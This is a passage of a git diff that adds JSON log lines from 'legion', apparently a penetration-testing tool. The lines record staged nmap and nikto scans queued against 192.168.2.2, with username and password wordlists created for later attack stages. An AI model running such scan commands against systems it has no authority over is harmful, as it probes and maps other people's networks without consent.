13:11:00,605", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:00,606", "name": "Waiting 0.23s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:00,856", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:00,861", "name": "Queuing: nikto -o ./tmp/legion-eaie8utr-running/nikto/20190226131100592831-nikto-192.168.2.2-443.txt -p 443 -h 192.168.2.2 -C all", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:11:00,905", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:00,909", "name": "Waiting 0.76s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:01,688", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:01,690", "name": "runCommand called for stage 0", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:11:01,691", "name": "-----------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 780}} +{"time": "2019-02-26 13:11:01,692", "name": "Scheduler ended!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 781}} +{"time": "2019-02-26 13:11:01,802", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:01,805", "name": "Waiting 0.9s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:02,708", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:04,379", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:04,380", "name": "Waiting 0.28s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:04,676", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:04,759", "name": "Process 8 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} +{"time": "2019-02-26 13:11:04,822", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:11:04,960", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:04,964", "name": "Waiting 0.88s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:05,869", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:05,872", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:11:05,875", "name": "runStagedNmap called for stage 5", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} +{"time": "2019-02-26 13:11:05,879", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:11:05,887", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:11:05,890", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:05,892", "name": "Waiting 0.82s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:06,729", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:06,737", "name": "Queuing: nmap -T4 -sC -n -sSU -p T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226131105879222-nmapstage5", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:11:06,776", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:06,778", "name": "Waiting 0.92s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:07,719", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:07,721", "name": "runCommand called for stage 5", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:11:07,722", "name": "runCommand connected for stage 5", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} +{"time": "2019-02-26 13:11:07,728", "name": "Scheduler started!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 771}} +{"time": "2019-02-26 13:11:07,784", "name": "Running tools for: telnet on 192.168.2.2:23", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} +{"time": "2019-02-26 13:11:07,785", "name": "-----------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 780}} +{"time": "2019-02-26 13:11:07,786", "name": "Scheduler ended!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 781}} +{"time": "2019-02-26 13:11:08,600", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:08,601", "name": "Waiting 0.28s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:08,884", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:11,599", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:11,601", "name": "Waiting 0.72s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:12,324", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:16,443", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:16,445", "name": "Waiting 0.23s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:16,701", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:16,708", "name": "Process 10 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} +{"time": "2019-02-26 13:11:16,716", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:11:16,717", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:16,718", "name": "Waiting 0.56s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:17,294", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:17,296", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:11:18,692", "name": "Killing process: 16146", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 554}} +{"time": "2019-02-26 13:11:18,702", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:18,707", "name": "Waiting 0.65s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:19,376", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:19,424", "name": "Process 11 Crashed!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 716}} +{"time": "2019-02-26 13:11:19,425", "name": "Process 11 Output: \n\tStarting Nmap 7.70 ( https://nmap.org ) at 2019-02-26 13:11 Central Standard Time", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 718}} +{"time": "2019-02-26 13:11:19,428", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:19,429", "name": "Waiting 0.61s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:20,059", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:20,066", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:11:20,067", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:20,069", "name": "Waiting 0.81s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:20,905", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:20,907", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:11:20,909", "name": "runStagedNmap called for stage 6", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} +{"time": "2019-02-26 13:11:22,093", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:22,094", "name": "Waiting 0.43s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:22,527", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:34,706", "name": "Killing process: 16113", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 554}} +{"time": "2019-02-26 13:11:34,709", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:34,710", "name": "Waiting 0.11s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:34,841", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:34,908", "name": "Process 9 Crashed!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 716}} +{"time": "2019-02-26 13:11:34,909", "name": "Process 9 Output: \n\t- Nikto v2.1.5---------------------------------------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 718}} +{"time": "2019-02-26 13:11:34,912", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:34,913", "name": "Waiting 0.5s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:35,432", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:35,438", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:11:35,439", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:35,440", "name": "Waiting 0.36s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:35,818", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:35,820", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:14:00,341", "name": "Settings have NOT been changed.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 117}} +{"time": "2019-02-26 13:14:00,349", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:14:00,350", "name": "Waiting 0.02s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:14:00,395", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:14:00,413", "name": "Exiting application..", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "view", "filename": "view.py", "line": 493}} diff --git a/log/legion.log b/log/legion.log index 8b137891..48c03bb3 100644 --- a/log/legion.log +++ b/log/legion.log @@ -1 +1,244 @@ +{"time": "2019-02-26 13:05:59,144", "name": "Creating temporary files..", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 30}} +{"time": "2019-02-26 13:05:59,147", "name": "/mnt/c/Users/hackm/OneDrive/Documents/Customers/GVIT/GIT/legion/", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 32}} +{"time": "2019-02-26 13:05:59,152", "name": "Wordlist was created/opened: ./tmp/legion-mdzit9o7-tool-output/legion-usernames.txt", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "auxiliary", "filename": "auxiliary.py", "line": 185}} +{"time": "2019-02-26 13:05:59,155", "name": "Wordlist was created/opened: ./tmp/legion-mdzit9o7-tool-output/legion-passwords.txt", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "auxiliary", "filename": "auxiliary.py", "line": 185}} +{"time": "2019-02-26 13:05:59,163", "name": "/mnt/c/Users/hackm/OneDrive/Documents/Customers/GVIT/GIT/legion/tmp/legion-sfautv7t.legion", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 42}} +{"time": "2019-02-26 13:05:59,865", "name": "Loading settings file..", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "settings", "filename": "settings.py", "line": 26}} +{"time": "2019-02-26 13:06:14,835", "name": "runStagedNmap called for stage 1", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} +{"time": "2019-02-26 13:06:14,840", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:06:14,843", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:06:14,844", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:06:14,850", "name": "Waiting 0.33s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:06:15,200", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:06:15,206", "name": "Queuing: nmap -T4 -sC -sSU -p T:80,443 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226130614838488-nmapstage1", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:06:15,258", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:06:15,260", "name": "Waiting 0.65s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:06:15,932", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:06:15,934", "name": "runCommand called for stage 1", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:06:15,934", "name": "runCommand connected for stage 1", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} +{"time": "2019-02-26 13:07:36,413", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:36,415", "name": "Waiting 0.81s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:37,271", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:37,403", "name": "Process 1 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} +{"time": "2019-02-26 13:07:37,475", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:07:37,629", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:37,632", "name": "Waiting 0.05s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:37,726", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:37,732", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:07:37,742", "name": "runStagedNmap called for stage 2", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} +{"time": "2019-02-26 13:07:37,761", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:07:37,776", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:07:37,781", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:37,798", "name": "Waiting 0.38s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:38,236", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:38,246", "name": "Queuing: nmap -T4 -sC -n -sSU -O -p T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226130737760118-nmapstage2", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:07:38,312", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:38,315", "name": "Waiting 0.85s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:39,186", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:39,189", "name": "runCommand called for stage 2", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:07:39,190", "name": "runCommand connected for stage 2", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} +{"time": "2019-02-26 13:07:39,222", "name": "Scheduler started!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 771}} +{"time": "2019-02-26 13:07:39,224", "name": "Running tools for: http on 192.168.2.2:80", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} +{"time": "2019-02-26 13:07:39,236", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:07:39,239", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:07:39,242", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:39,244", "name": "Waiting 0.22s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:39,494", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:39,499", "name": "Queuing: nikto -o ./tmp/legion-eaie8utr-running/nikto/20190226130739226281-nikto-192.168.2.2-80.txt -p 80 -h 192.168.2.2 -C all", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:07:39,543", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:39,546", "name": "Waiting 0.35s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:39,914", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:39,916", "name": "runCommand called for stage 0", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:07:39,918", "name": "Running tools for: https on 192.168.2.2:443", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} +{"time": "2019-02-26 13:07:39,933", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:07:39,936", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:07:39,938", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:39,943", "name": "Waiting 0.97s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:40,932", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:40,936", "name": "Queuing: nikto -o ./tmp/legion-eaie8utr-running/nikto/20190226130739922613-nikto-192.168.2.2-443.txt -p 443 -h 192.168.2.2 -C all", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:07:40,975", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:40,978", "name": "Waiting 0.25s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:41,271", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:41,273", "name": "runCommand called for stage 0", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:07:41,276", "name": "-----------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 780}} +{"time": "2019-02-26 13:07:41,278", "name": "Scheduler ended!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 781}} +{"time": "2019-02-26 13:07:45,641", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:45,643", "name": "Waiting 0.73s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:46,396", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:46,566", "name": "Process 2 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} +{"time": "2019-02-26 13:07:46,658", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:07:46,842", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:46,845", "name": "Waiting 0.49s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:47,358", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:47,360", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:07:47,365", "name": "runStagedNmap called for stage 3", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} +{"time": "2019-02-26 13:07:47,368", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:07:47,375", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:07:47,381", "name": 